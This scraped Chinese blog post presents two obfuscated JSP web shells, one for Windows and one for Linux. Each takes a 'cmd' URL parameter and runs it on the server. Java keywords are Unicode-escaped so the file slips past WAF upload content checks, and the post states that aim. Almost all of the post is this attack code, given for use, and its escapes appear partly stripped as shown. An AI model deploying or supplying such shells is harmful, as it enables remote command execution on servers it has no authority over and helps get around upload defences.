zoukankan      html  css  js  c++  java
  • JSP无%%号命令执行一句话

    JSP无%%号命令执行一句话

    • 利用场景:WAF 禁止用户上传可执行文件,进行了文件内容判断。
    • 后续自己回来做点其他的版本。

    example:http://127.0.0.1/shell.jsp?cmd=whoami

    win:

    <jsp:scriptlet>
    if(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd") != u006eu0075u006cu006c){
    u0050u0072u006fu0063u0065u0073u0073 p = u006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0052u0075u006eu0074u0069u006du0065u002eu0067u0065u0074u0052u0075u006eu0074u0069u006du0065u0028u0029u002eu0065u0078u0065u0063("cmd.exe /c " + u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd"));
    u006au0061u0076u0061u002eu0069u006fu002eu004fu0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u006d os = p.getOutputStream();
    u006au0061u0076u0061u002eu0069u006fu002eu0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d in = p.getInputStream();
    u006au0061u0076u0061u002eu0069u006fu002eu0044u0061u0074u0061u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d dis = new java.io.DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
                    out.println(disr); disr = dis.readLine(); }
    }
    out.println("u0074u0030u0030u006cu0073u0020u0031u0032u0034u0035u0035");
    </jsp:scriptlet>
    
    

    Linux:

    
    <jsp:scriptlet>
    if(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd") != u006eu0075u006cu006c){
    u0050u0072u006fu0063u0065u0073u0073 p = u006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0052u0075u006eu0074u0069u006du0065u002eu0067u0065u0074u0052u0075u006eu0074u0069u006du0065u0028u0029u002eu0065u0078u0065u0063(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd"));
    u006au0061u0076u0061u002eu0069u006fu002eu004fu0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u006d os = p.getOutputStream();
    u006au0061u0076u0061u002eu0069u006fu002eu0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d in = p.getInputStream();
    u006au0061u0076u0061u002eu0069u006fu002eu0044u0061u0074u0061u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d dis = new java.io.DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
                    out.println(disr); disr = dis.readLine(); }
    }
    out.println("u0074u0030u0030u006cu0073u0020u0031u0032u0034u0035u0035");
    </jsp:scriptlet>
    
  • 相关阅读:
    IDEA激活方式(亲测有效)加汉化方式
    IDEA快捷键
    (转)RBAC权限模型——项目实战
    Nginx负载均衡策略
    nginx proxy_pass
    Nginx rewrite
    web cache server方案比较:varnish、squid、nginx
    LVS负载均衡工作模式和调度算法
    四层 七层负载均衡区别
    Nginx每天自动日志分割
  • 原文地址:https://www.cnblogs.com/0xdd/p/13168000.html
Copyright © 2011-2022 走看看